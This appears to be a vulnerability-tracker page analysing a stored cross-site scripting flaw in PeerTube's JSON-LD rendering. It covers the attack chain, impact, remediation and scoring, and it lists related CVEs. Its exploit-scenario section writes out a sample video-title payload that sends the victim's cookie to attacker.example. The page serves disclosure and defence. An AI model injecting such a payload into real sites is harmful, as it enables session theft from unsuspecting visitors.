Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessRegister or obtain upload account on target instance
-
DeliverySet video metadata field to contain </script> payload
-
ExploitVictim visits video watch page
-
ExecutionBrowser HTML parser terminates JSON-LD script block prematurely
-
PersistAttacker JavaScript executes in instance origin
-
ImpactSession token or credentials exfiltrated to attacker-controlled endpoint
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization HTML tag escaping
MITRE ATT&CK
1 technique across 1 tactic: Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the attacker to hold an account with video upload privileges on the target PeerTube instance - on open-registration instances this is trivially obtainable; on closed instances it requires prior account compromise or social engineering. The attacker must be able to set at least one video metadata field (such as the title or description) to a value containing the byte sequence </script>. Victim interaction is required: a user must visit the attacker's video watch page while the malicious metadata is present. The vulnerability is present in the default server-side rendering pipeline and does not require any non-default PeerTube configuration to be active. Exploitation is bounded by the PeerTube version - instances running 8.2.2 or later are not affected. Visitors who disable JavaScript entirely would not execute the payload, but this is not a practical defensive assumption. |
| Impact | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:P, score 5.1) accurately captures the key risk constraints: network reachability with low complexity, but requiring low-privilege account access (PR:L) and passive victim interaction (UI:P). Impact is limited to the subsequent system - the victim's browser context - with low confidentiality and integrity effects (SC:L/SI:L) and no availability impact. There is no CISA KEV listing and no publicly identified proof-of-concept code in the provided data, placing this in the no-public-exploit category at time of analysis. EPSS data was not provided and cannot be assessed. The stored nature of the XSS meaningfully elevates real-world impact compared to reflected variants: a single malicious upload persists and activates for every visitor without further attacker interaction. However, the PR:L requirement substantially limits the attacker pool on instances that disable open registration. On open-registration instances, the effective privilege barrier is near zero. The moderate CVSS score is appropriate - this is a real priority for instance administrators, particularly those running open-registration deployments, but it does not represent a critical remotely unauthenticated threat. |
| Exploit ScenarioDerived | An attacker registers an account on a PeerTube instance with open registration enabled and uploads a video with a title such as Interesting Video</script><script>document.location='https://attacker.example/steal?c='+document.cookie</script>. The PeerTube server embeds this title unescaped into the JSON-LD block of the video watch page; when any visitor navigates to that page, the browser closes the script tag at </script>, executes the attacker's payload in the instance's origin, and exfiltrates the victim's session cookie. No public proof-of-concept was identified at time of analysis, but the technique is a well-documented variant of stored XSS requiring no specialized tooling. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 10, 2026
Stored XSS in PeerTube before version 8.2.2 allows any authenticated uploader to inject arbitrary HTML and JavaScript into the instance origin by embedding the byte sequence </script> inside video metadata fields. The server-side renderer serializes video metadata directly into schema.org JSON-LD script blocks using JSON.stringify without HTML-character escaping, causing the browser to terminate the script tag prematurely and parse attacker-controlled content as raw HTML. The payload executes automatically for every visitor to the affected video's watch page, and no public exploit has been identified at time of analysis.
RemediationAI
Upgrade to PeerTube 8.2.2 or later immediately; the patched release is available at https://github.com/Chocobozzz/PeerTube/releases/tag/v8.2.2 and addresses the root cause by adding proper HTML-character escaping to the JSON-LD metadata serialization path (commit 45394d701b08e87d72b8f0c1866b881f2becbde3). If an immediate upgrade is not feasible, restrict video upload and account registration to trusted users only via the instance administration panel - this reduces the attacker pool but does not eliminate the vulnerability for already-uploaded content and does not protect against compromise of existing trusted accounts. As an additional interim step, administrators should audit existing video metadata for fields containing the string </script> and remove or sanitize any such entries. No configuration-only workaround fully mitigates the rendering flaw; patching is the only complete remediation.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
PeerTube is an open-source, ActivityPub-federated video hosting platform (CPE: cpe:2.3:a:chocobozzz:peertube:*:*:*:*:*:*:*:*). Its server-side rendering pipeline embeds structured metadata on video watch pages using the schema.org JSON-LD format inside a <script type="application/ld+json"> HTML element. The platform serializes video metadata (title, description, and related fields) via JavaScript's native JSON.stringify(), which produces valid JSON but does not escape the characters <, >, or / - characters that are semantically significant in HTML parsing. When a metadata value contains the literal string </script>, the browser's HTML parser closes the enclosing script tag at that point, treating any trailing content as raw HTML. This is a textbook instance of CWE-80 (Improper Neutralization of Script-Related HTML Tags in a Web Page - Basic XSS), where user-controlled data is injected into a script context without adequate output encoding. The fix, introduced in commit 45394d701b08e87d72b8f0c1866b881f2becbde3, applies proper HTML-character escaping to the JSON-LD serialization path.
Know when Peertube gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Stored XSS requires low-privilege upload account (PR:L) and victim page visit (UI:R); scope changes to browser context with limited confidentiality and integrity impact.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
1DescriptionCVE.org
PeerTube is an ActivityPub-federated video streaming platform. Prior to 8.2.2, server-side-rendered video watch pages embed a schema.org JSON-LD block by JSON.stringify-ing video metadata without escaping less-than, greater-than, or slash characters, allowing a value containing the byte sequence that closes a script element to inject arbitrary HTML or JavaScript that executes in the instance origin for visitors to the attacker's videos. This issue is fixed in version 8.2.2.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
The vulnerability allows any attacker to cause the PeerTube server to stop functioning, or in special cases send request
This vulnerability allows any attacker to cause the PeerTube server to stop responding to requests due to an infinite lo
This vulnerability allows any authenticated user to cause the server to consume very large amounts of disk space when ex
The vulnerability allows any authenticated user to cause the PeerTube server to stop functioning in a persistent manner.
Insecure Storage of Sensitive Information in GitHub repository chocobozzz/peertube prior to 4.1.1. Rated medium severity
peertube is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). Rated me
Improper Access Control in GitHub repository chocobozzz/peertube prior to 4.1.0. Rated medium severity (CVSS 5.4), this
Missing Authorization in GitHub repository chocobozzz/peertube prior to 4.1.0. Rated medium severity (CVSS 5.4), this vu
This vulnerability allows any attacker to add playlists to a different user’s channel using the ActivityPub protocol. Ra
The vulnerability allows an existing user to add playlists to a different user’s channel using the PeerTube REST API. Ra
The vulnerability allows any authenticated user to leak the contents of arbitrary “.m3u8” files from the PeerTube server
EUVD-2026-42952
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB